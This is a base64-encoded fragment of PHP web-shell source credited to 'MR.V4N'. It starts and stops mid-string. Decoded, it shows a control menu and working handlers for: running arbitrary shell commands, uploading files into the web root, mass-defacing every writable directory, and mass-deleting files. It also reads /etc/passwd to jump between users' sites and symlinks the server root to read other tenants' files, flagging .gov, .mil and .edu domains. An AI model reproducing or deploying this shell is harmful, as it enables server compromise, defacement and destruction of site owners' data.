IGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWluZm8nPlNlcnZlciBJbmZvPC9hPjwvbGk+IjsNCmVjaG8gIiA8bGk+PGEgaHJlZj0nP2Rpcj0kZGlyJnZvdHI9Y21kJz5Db21tYW5kPC9hPjwvbGk+IjsNCmVjaG8gIiA8bGk+PGEgaHJlZj0nP2Rpcj0kZGlyJnZvdHI9bWFzc19kZWZhY2UnPk1hc3MgRGVmYWNlPC9hPjwvbGk+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPW1hc3NfZGVsZXRlJz4gTWFzcyBEZWxldGUgPC9hPjwvbGk+IjsNCmVjaG8gIjxicj48YnI+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWNvbmZpZyc+Q29uZmlnPC9hPjwvbGk+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWp1bXBpbmcnPkxvbmNhdCBJbmRhaDwvYT48L2xpPiI7DQplY2hvICIgIDxsaT48YSBocmVmPSc/ZGlyPSRkaXImdm90cj1jcGFuZWwnPkNwYW5lbCBDcmFjazwvYT48L2xpPiI7DQplY2hvICIgIDxsaT48YSBocmVmPSc/ZGlyPSRkaXImdm90cj1zeW0nPlN5bWxpbms8L2E+PC9saT4iOw0KZWNobyAiICA8bGk+PGEgaHJlZj0nP2Rpcj0kZGlyJnZvdHI9bmV0d29yayc+TmV0d29yazwvYT48L2xpPiI7DQplY2hvICIgIDxsaT48YSBocmVmPSc/ZGlyPSRkaXImdm90cj1mYWtlX3Jvb3QnPkZha2UgUm9vdDwvYT48L2xpPjxicj48YnI+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWNnaSc+Q2dpLVRlbG5ldDwvYT48L2xpPiI7DQplY2hvICIgIDxsaT48YSBocmVmPSc/ZGlyPSRkaXImdm90cj1ieXBhc3MnPkJ5cGFzcyBEaXNhYmxlIEZ1bmN0aW9uczwvYT48L2xpPiI7DQplY2hvICIgIDxsaT48YSBocmVmPSc/ZGlyPSRkaXImdm90cj1yZHAnPkstUkRQIFNoZWxsPC9hPjwvbGk+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWJhY2tjb25uZWN0Jz5CYWNrY29ubmVjdCBWLjI8L2E+PC9saT4iOw0KZWNobyAiICA8bGk+PGEgaHJlZj0nP2Rpcj0kZGlyJnZvdHI9em9uZWgnPlpvbmUtSCBNYXNzIE5vdGlmaWVyPC9hPjwvbGk+IjsNCmVjaG8gIjxicj48YnI+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPXVwbG9hZCc+VXBsb2FkPC9hPjwvbGk+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWFkbWluZXInPkFkbWluZXI8L2E+PC9saT4iOw0KZWNobyAiICA8bGk+PGEgaHJlZj0nP2Rpcj0kZGlyJnZvdHI9ZWRpdF91c2VyJz5BdXRvIEVkaXQgVXNlcjwvYT48L2xpPiI7DQplY2hvICIgIDxsaT48YSBocmVmPSc/ZGlyPSRkaXImdm90cj1hdXRvX3dwJz5BdXRvIEVkaXQgVGl0bGUgV29yZFByZXNzPC9hPjwvbGk+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWF1dG9fZHdwJz5Xb3JkUHJlc3MgQXV0byBEZWZhY2U8L2E+PC9saT4iOw0KZWNobyAiICA8bGk+PGEgaHJlZj0nP2Rpcj0kZGlyJnZvdHI9ZGJkdW1wJz5EQiBEdW1wPC9hPjwvbGk+IjsNCmVjaG8gIiAgPGxpPjxhIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPXN5bWxpbmsyJz5TeW1saW5rIFYuMjwvYT48L2xpPiI7DQplY2hvICI8YnI+PGJyPiI7DQplY2hvICIgIDxsaT48YSBzdHlsZT0nY29sb3I6IHJlZDsnIGhyZWY9Jz9kaXI9JGRpciZ2b3RyPWtpbGwnPktpbGwgTWU8L2E+PC9saT4iOw0KZWNobyAiICA8bGk+PGEgc3R5bGU9J2NvbG9yOiByZWQ7JyBocmVmPSc/bG9nb3V0PXRydWUnPkxvZ291dDwvYT48L2xpPiI7DQplY2hvICI8L3VsPiI7DQplY2hvICI8L2NlbnRlcj4iOw0KZWNobyAiPGhyPiI7DQppZigkX0dFVFsnbG9nb3V0J10gPT0gdHJ1ZSkgew0KCXVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOw0KCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/Jzs8L3NjcmlwdD4iOw0KfQ0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Ii5nZXRfY3VycmVudF91c2VyKCkuIkAiLiRfU0VSVkVSWydTRVJWRVJfQUREUiddLiI6IH4gJCA8L2ZvbnQ+DQoJPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzMwJyBoZWlnaHQ9JzEwJyBuYW1lPSdjbWQnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2RvX2NtZCcgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+PC9jZW50ZXI+IjsNCglpZigkX1BPU1RbJ2RvX2NtZCddKSB7DQoJCWVjaG8gIjxwcmU+Ii5leGUoJF9QT1NUWydjbWQnXSkuIjwvcHJlPiI7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAndXBsb2FkJykgew0KCWVjaG8gIjxjZW50ZXI+IjsNCglpZigkX1BPU1RbJ3VwbG9hZCddKSB7DQoJCWlmKCRfUE9TVFsndGlwZV91cGxvYWQnXSA9PSAnYmlhc2EnKSB7DQoJCQlpZihAY29weSgkX0ZJTEVTWydpeF9maWxlJ11bJ3RtcF9uYW1lJ10sICIkZGlyLyIuJF9GSUxFU1snaXhfZmlsZSddWyduYW1lJ10uIiIpKSB7DQoJCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1saW1lPlVwbG9hZGVkITwvZm9udD4gYXQgPGk+PGI+JGRpci8iLiRfRklMRVNbJ2l4X2ZpbGUnXVsnbmFtZSddLiI8L2I+PC9pPiI7DQoJCQl9IGVsc2Ugew0KCQkJCSRhY3QgPSAiPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byB1cGxvYWQgZmlsZTwvZm9udD4iOw0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJJHJvb3QgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvIi4kX0ZJTEVTWydpeF9maWxlJ11bJ25hbWUnXTsNCgkJCSR3ZWIgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10uIi8iLiRfRklMRVNbJ2l4X2ZpbGUnXVsnbmFtZSddOw0KCQkJaWYoaXNfd3JpdGFibGUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHsNCgkJCQlpZihAY29weSgkX0ZJTEVTWydpeF9maWxlJ11bJ3RtcF9uYW1lJ10sICRyb290KSkgew0KCQkJCQkkYWN0ID0gIjxmb250IGNvbG9yPWxpbWU+VXBsb2FkZWQhPC9mb250PiBhdCA8aT48Yj4kcm9vdCAtPiA8L2I+PC9pPjxhIGhyZWY9J2h0dHA6Ly8kd2ViJyB0YXJnZXQ9J19ibGFuayc+JHdlYjwvYT4iOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRhY3QgPSAiPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byB1cGxvYWQgZmlsZTwvZm9udD4iOw0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1yZWQ+ZmFpbGVkIHRvIHVwbG9hZCBmaWxlPC9mb250PiI7DQoJCQl9DQoJCX0NCgl9DQoJZWNobyAiVXBsb2FkIEZpbGU6DQoJPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgk8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfdXBsb2FkJyB2YWx1ZT0nYmlhc2EnIGNoZWNrZWQ+Qmlhc2EgWyAiLncoJGRpciwiV3JpdGVhYmxlIikuIiBdIA0KCTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0ndGlwZV91cGxvYWQnIHZhbHVlPSdob21lX3Jvb3QnPmhvbWVfcm9vdCBbICIudygkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCJXcml0ZWFibGUiKS4iIF08YnI+DQoJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2l4X2ZpbGUnPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSd1cGxvYWQnIG5hbWU9J3VwbG9hZCc+DQoJPC9mb3JtPiI7DQoJZWNobyAkYWN0Ow0KCWVjaG8gIjwvY2VudGVyPiI7DQp9DQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAnbWFzc19kZWZhY2UnKSB7DQoJZnVuY3Rpb24gc2FidW5fbWFzc2FsKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7DQoJCQkJJGxva2FzaSA9ICRkaXJjLicvJy4kbmFtYWZpbGU7DQoJCQkJaWYoJGRpcmIgPT09ICcuJykgew0KCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsNCgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmKGlzX2RpcigkZGlyYykpIHsNCgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgew0KCQkJCQkJCWVjaG8gIls8Zm9udCBjb2xvcj1saW1lPkRPTkU8L2ZvbnQ+XSAkbG9rYXNpPGJyPiI7DQoJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCQkJCSRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglmdW5jdGlvbiBzYWJ1bl9iaWFzYSgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgew0KCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgew0KCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOw0KCQkJCWlmKCRkaXJiID09PSAnLicpIHsNCgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7DQoJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsNCgkJCQkJCQllY2hvICJbPGZvbnQgY29sb3I9bGltZT5ET05FPC9mb250Pl0gJGxva2FzaTxicj4iOw0KCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglpZigkX1BPU1RbJ3N0YXJ0J10pIHsNCgkJaWYoJF9QT1NUWyd0aXBlX3NhYnVuJ10gPT0gJ21haGFsJykgew0KCQkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOw0KCQkJc2FidW5fbWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSwgJF9QT1NUWydzY3JpcHQnXSk7DQoJCQllY2hvICI8L2Rpdj4iOw0KCQl9IGVsc2VpZigkX1BPU1RbJ3RpcGVfc2FidW4nXSA9PSAnbXVyYWgnKSB7DQoJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7DQoJCQlzYWJ1bl9iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOw0KCQkJZWNobyAiPC9kaXY+IjsNCgkJfQ0KCX0gZWxzZSB7DQoJZWNobyAiPGNlbnRlcj4iOw0KCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+VGlwZSBTYWJ1bjo8L2ZvbnQ+PGJyPg0KCTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0ndGlwZV9zYWJ1bicgdmFsdWU9J211cmFoJyBjaGVja2VkPkJpYXNhPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3NhYnVuJyB2YWx1ZT0nbWFoYWwnPk1hc3NhbDxicj4NCgk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5Gb2xkZXI6PC9mb250Pjxicj4NCgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkZpbGVuYW1lOjwvZm9udD48YnI+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgdmFsdWU9J2luZGV4Lmh0bScgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4NCgk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5JbmRleCBGaWxlOjwvZm9udD48YnI+DQoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsnPkhhY2tlZCBieSBNUi5WNE48L3RleHRhcmVhPjxicj4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9J01hc3MgRGVmYWNlJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+DQoJPC9mb3JtPjwvY2VudGVyPiI7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAnbWFzc19kZWxldGUnKSB7DQoJZnVuY3Rpb24gaGFwdXNfbWFzc2FsKCRkaXIsJG5hbWFmaWxlKSB7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7DQoJCQkJJGxva2FzaSA9ICRkaXJjLicvJy4kbmFtYWZpbGU7DQoJCQkJaWYoJGRpcmIgPT09ICcuJykgew0KCQkJCQlpZihmaWxlX2V4aXN0cygiJGRpci8kbmFtYWZpbGUiKSkgew0KCQkJCQkJdW5saW5rKCIkZGlyLyRuYW1hZmlsZSIpOw0KCQkJCQl9DQoJCQkJfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsNCgkJCQkJaWYoZmlsZV9leGlzdHMoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpKSB7DQoJCQkJCQl1bmxpbmsoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpOw0KCQkJCQl9DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYoaXNfZGlyKCRkaXJjKSkgew0KCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7DQoJCQkJCQkJaWYoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsNCgkJCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWxpbWU+REVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI+IjsNCgkJCQkJCQkJdW5saW5rKCRsb2thc2kpOw0KCQkJCQkJCQkkaWR4ID0gaGFwdXNfbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWlmKCRfUE9TVFsnc3RhcnQnXSkgew0KCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7DQoJCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOw0KCQllY2hvICI8L2Rpdj4iOw0KCX0gZWxzZSB7DQoJZWNobyAiPGNlbnRlcj4iOw0KCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyOjwvZm9udD48YnI+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcicgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4NCgk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5GaWxlbmFtZTo8L2ZvbnQ+PGJyPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdNYXNzIERlbGV0ZScgc3R5bGU9J3dpZHRoOiA0NTBweDsnPg0KCTwvZm9ybT48L2NlbnRlcj4iOw0KCX0NCn0gZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ2p1bXBpbmcnKSB7DQoJJGkgPSAwOw0KCWVjaG8gIjxwcmU+PGRpdiBjbGFzcz0nbWFyZ2luOiA1cHggYXV0bzsnPiI7DQoJJGV0YyA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIik7DQoJd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQoJCWlmKCRwYXNzd2QgPT0gJycgfHwgISRldGMpIHsNCgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiI7DQoJCX0gZWxzZSB7DQoJCQlwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2p1bXBpbmcpOw0KCQkJZm9yZWFjaCgkdXNlcl9qdW1waW5nWzFdIGFzICR1c2VyX2N0dF9qdW1wKSB7DQoJCQkJJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfY3R0X2p1bXAvcHVibGljX2h0bWwiOw0KCQkJCWlmKGlzX3JlYWRhYmxlKCR1c2VyX2p1bXBpbmdfZGlyKSkgew0KCQkJCQkkaSsrOw0KCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlI8L2ZvbnQ+XSA8YSBocmVmPSc/cGF0aD0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9Z29sZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCgkJCQkJaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7DQoJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP3BhdGg9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPWdvbGQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCX0NCgkJCQkJZWNobyAkanJ3Ow0KCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJCQkJCSRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsJDQoJCQkJCQlpZigkZG9tYWluX2p1bXAgPT0gJycpIHsNCgkJCQkJCQllY2hvICIgPT4gKCA8Zm9udCBjb2xvcj1yZWQ+Z2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD4gKTxicj4iOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQlwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsNCgkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2p1bXBbMV0gYXMgJGRqKSB7DQoJCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7DQoJCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsNCgkJCQkJCQkJaWYoJHVzZXJfanVtcGluZ191cmwgPT0gJHVzZXJfY3R0X2p1bXApIHsNCgkJCQkJCQkJCWVjaG8gIiA9PiAoIDx1PiRkajwvdT4gKTxicj4iOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICI8YnI+IjsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglpZigkaSA9PSAwKSB7IA0KCX0gZWxzZSB7DQoJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOw0KCX0NCgllY2hvICI8L2Rpdj48L3ByZT4iOw0KfQ0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ3N5bScpIHsNCiAgIEBzZXRfdGltZV9saW1pdCgwKTsNCmVjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+Ky0tPVsgU3ltbGluayBCeSBNUi5WNE5dPS0tKzwvaDE+PC9jZW50ZXI+PGJyPjxicj48Y2VudGVyPjxkaXYgY2xhc3M9Y29udGVudD4iOw0KQG1rZGlyKCdzeW0nLDA3NzcpOw0KJGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQokd3JpdGUgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQpmd3JpdGUoJHdyaXRlICwkaHRhY2Nlc3MpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KJGZpbGVsb2NhdGlvbiA9IGJhc2VuYW1lKF9fRklMRV9fKTsNCiRyZWFkX25hbWVkX2NvbmYgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQppZighJHJlYWRfbmFtZWRfY29uZikNCnsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOyANCn0NCmVsc2UNCnsNCmVjaG8gIjxicj48YnI+PGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYm9yZGVyPScxJyBib3JkZXJjb2xvcj0nIzAwZmYwMCcgd2lkdGg9JzUwMCcgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJz48dGQ+RG9tYWluczwvdGQ+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluayA8L3RkPiI7DQpmb3JlYWNoKCRyZWFkX25hbWVkX2NvbmYgYXMgJHN1YmplY3Qpew0KaWYoZXJlZ2koJ3pvbmUnLCRzdWJqZWN0KSl7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJHN1YmplY3QsJHN0cmluZyk7DQpmbHVzaCgpOw0KaWYoc3RybGVuKHRyaW0oJHN0cmluZ1sxXVswXSkpID4yKXsNCiRVSUQgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJHN0cmluZ1sxXVswXSkpOw0KJG5hbWUgPSAkVUlEWyduYW1lJ10gOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KJG5hbWUgICA9ICRzdHJpbmdbMV1bMF07DQokaXJhbiAgID0gJ1wuaXInOw0KJGlzcmFlbCA9ICdcLmlsJzsNCiRpbmRvICAgPSAnXC5pZCc7DQokc2cxMiAgID0gJ1wuc2cnOw0KJGVkdSAgICA9ICdcLmVkdSc7DQokZ292ICAgID0gJ1wuZ292JzsNCiRnb3NlICAgPSAnXC5nbyc7DQokZ29iZXIgID0gJ1wuZ29iJzsNCiRtaWwxICAgPSAnXC5taWwnOw0KJG1pbDIgICA9ICdcLm1pJzsNCiRtYWxheQk9ICdcLm15JzsNCiRjaGluYQk9ICdcLmNuJzsNCiRqYXBhbgk9ICdcLmpwJzsNCiRhdXN0cgk9ICdcLmF1JzsNCiRwb3JuCT0gJ1wueHh4JzsNCiRhcwkJPSAnXC51ayc7DQokY2FsZm4JPSAnXC5jYSc7DQppZiAoZXJlZ2koIiRpcmFuIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGlzcmFlbCIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRpbmRvIiwkc3RyaW5nWzFdWzBdKW9yIGVyZWdpKCIkc2cxMiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkZWR1Iiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRnb3YiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSAoIiRnb3NlIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGdvYmVyIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJG1pbDEiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJG1pbDIiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSAoIiRtYWxheSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRjaGluYSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRqYXBhbiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkYXVzdHIiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSgiJHBvcm4iLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkYXMiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGNhbGZuIiwkc3RyaW5nWzFdWzBdKSkNCnsNCiRuYW1lID0gIjxkaXYgc3R5bGU9JyBjb2xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kc3RyaW5nWzFdWzBdLic8L2Rpdj4nOw0KfQ0KZWNobyAiDQo8dHI+DQo8dGQ+DQo8ZGl2IGNsYXNzPSdkb20nPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly93d3cuIi4kc3RyaW5nWzFdWzBdLicvPicuJG5hbWUuJyA8L2E+IDwvZGl2Pg0KPC90ZD4NCjx0ZD4NCicuJFVJRFsnbmFtZSddLiINCjwvdGQ+DQo8dGQ+DQo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJFVJRFsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rID